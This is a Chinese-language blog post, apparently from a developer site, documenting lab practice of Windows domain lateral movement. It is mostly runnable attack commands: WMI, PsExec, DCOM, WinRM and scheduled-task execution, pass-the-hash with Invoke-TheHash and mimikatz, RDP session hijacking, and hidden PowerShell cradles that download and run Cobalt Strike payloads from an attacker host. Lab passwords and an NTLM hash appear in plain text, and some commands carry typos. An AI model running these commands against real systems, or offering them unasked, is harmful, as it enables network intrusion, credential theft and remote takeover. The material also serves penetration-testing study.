内网中的简单横向移动

横向移动

WMI

简介
  • 全程Windows管理规范,从03开始一直存在
  • 由一系列工具组成,可以在本地或者远程管理计算机系统
  • Windows默认不会讲WMI的操作记录在日志中
利用
条件
  • WMI服务开启,135端口,默认开启

  • 防火墙允许135,445等端口通信

    测试方法

    nmap -p 135 ip
    telnet ip 135
    ......
    
  • 管理员权限,及本地管理员组

wmic

用powershell联动cs

wmic /node:<目标 ip> /user:<用户或域用户> /password:<密码> process call create "powershell.exe -nop -w hidden -c\"IEX ((new-object net.webclient).dowloadstring('http:\\192.168.95.10:8080/a'))\""

使用方法

测试一

先使用cs生成ps载荷
在这里插入图片描述

信息填写好后,启动
在这里插入图片描述

得到执行语句

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.95.128:8080/a'))"

然后在DC上执行下面语句

wmic /node:192.168.95.12 /user:TEST\administrator /password:hxy0609. process call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.95.128:8080/a'))\""

结果如下
在这里插入图片描述

成功上线

在这里插入图片描述

测试二

使用命令

wmic /node:192.168.95.12 /user:TEST\win2008 /password:user2008. process call create "cmd.exe /c ipconfig >c:\ip.txt"

然后使用

type \\192.168.95.12\c$\ip.txt

在这里插入图片描述

可以连接

wmiexec.vbs

使用方法

cscript wmiexec.vbs /shell 192.168.95.12 TEST\administrator password.
在这里插入图片描述

不知道什么原因,拿到shell但是大部分命令无法使用

Invoke-TheHash.ps1

工具

使用方法

同时加载Invoke-WMIExec.ps1、Invoke-TheHash.ps1

利用已有管理员hash,批量撞指定网段机器,得到可用wmic连接的机器

Invoke-TheHash -Type WMIExec -Target 192.168.95.0/24 -Domain test -Username administrator -Hash b82b9c9b4bf7377f2b2e210c84a3ce11

Hash可以用mimikatz去抓

结果如下
在这里插入图片描述

kali自带pth工具-pth-winexe

使用方法

pth-winexe -U administrator%hxy0609. --system --ostype=1 //192.168.95.12 cmd

结果

在这里插入图片描述

Remote Service Creation

控制服务,可以通过SMB安排任务

命令为

sc \\192.168.95.12 create ExampleService binpath="程序路径"

sc \\192.168.95.12 start ExampleService

使用方法

先cs创建一个服务型exe后门

在这里插入图片描述

然后使用sc创建服务

sc \\192.168.95.12 create ExampleService binpath="c:\service.exe"

然后执行

sc \\192.168.95.12 start ExampleService

在这里插入图片描述

再看看cs,成功上线

在这里插入图片描述

Remote Desktop Protocol

远程桌面协议

RDP hijacking

在某些情况管理员远程登录了机器而没有注销掉,这个时候就可以利用这个来直接无需密码切换到该账号上

在system权限下,tscon.exe只需要使用目标会话编号,就能立即获取目标用户的桌面,且无明显痕迹

演示

  • mstsc启动远程桌面并连接

在这里插入图片描述

  • query user:目标机查看会话

在这里插入图片描述

  • JuicyPotato.exe -p "tscon 2":本地提权并获取目标桌面
PowerShell Remoting
  • winRM服务,在win2012后默认开启,也可命令开启winrm quickconfig

  • 连接方法:Enter-PSSession -Computername TARGET

  • 还可以使用猕猴桃获取远程机器的账号、密码

    • 导入脚本:Import-Module .\mimikatz.psl
    • 使用命令:Invoke-Mimikatz -DumpCreds -ComputerName win2008.test.local(域机器名+域名)
Task Scheduler
  • 计划任务,需要administrator权限

  • 本地执行:SCHTASKS /Create /SC ONCE /TN spawn /TR calc /ST 21:46 在21:46开启一个计算器

  • 远程使用

SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN “Atomic task”(计划名称) /TR “#{task_command}”(计划程序) /SC daily /ST #{time}
**task_command只能是文件,不能带参数或者命令
```

  • 删除一个计划:SCHTASKS /Delete /TN spawn /F >nul 2>&1
PsExec
  • 微软服务

  • 通过ipc$连接,然后释放psexesvc.exe到目标机器

  • 通过服务管理SCManager远程创建psexecsvc服务,并启动服务

  • 客户端连接执行命令,服务端启动相应的程序并执行回显数据

  • 获取目标的cmd环境:PsExec64.exe \\win2008(域内主机名) cmd

在这里插入图片描述

  • cs中也有自带:目标列表->右键->Jump->psexec64,再指定账号、密码、监听(smb) 和 session(administrator)

在这里插入图片描述

配置

在这里插入图片描述

DCOM
  • 一个中间件,支持交互

  • 枚举所以的DCOM对象:Get-CimInstance win32_DCOMApplication

  • 对于可以进行命令执行的DCOM,则可利用进行横向移动,比如:

  • MMC20.APPLICATION COM OBJECT

  • 攻击机powershell内执行:

$a =[System.Activator]::CreateInstance([type]::GetTypeFromProgID(“MMC20.Application.1”,“192.168.95.128”))

$a.Document.Activeview.ExecuteShellCommand("cmd",$null,"/c hostname > c:\fromdcom.txt","7")
```
  • 目标机上可找到c:\fromdcom.txt,更换命令即可获得会话
Password Spray
WinRM远程服务管理
  • 查看与开启(管理员权限+powershell):Get-Service WinRMEnable-PSRemoting –Force

  • 第一次使用要添加信任

Set-Item WSMan:localhost\client\trustedhosts -value
Restart-Service WinRM
```

  • 反弹一个cs会话

Invoke-Command -ComputerName 192.168.95.12(远程地址) -ScriptBlock { powershell.exe -nop -w hidden -c “IEX((new.object net.webclient).downloadstring(‘http://192.168.0.108:8080/a’))”} -credential administrator
```

  • 反弹一个shell:Enter-PSSession -ComputerName 192.168.3.73 -Credential administrator
winrs工具
  • 使用:winrs -r:192.168.95.12 -u:test\administrator -p:hxy0609. "ipconfig"

  • cs中也有,目标列表->右键->Jump->winrm64,完成设置即可运行

  • 远程执行脚本:Invoke-Command -ComputerName $ip -FilePath .\*.ps1 -credential $Cred ——没讲这个,待验证

Pass-the-Hash
  • hash传递攻击

  • 猕猴桃内:sekurlsa::pth /user:administrator /domain:test /ntlm:#HASH /run:cmd.exe

  • 微软防护LocalAccountTokenFilterPolicy && 绕过

Pass-the-Ticket
  • 票据传递:黄金、白银
  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值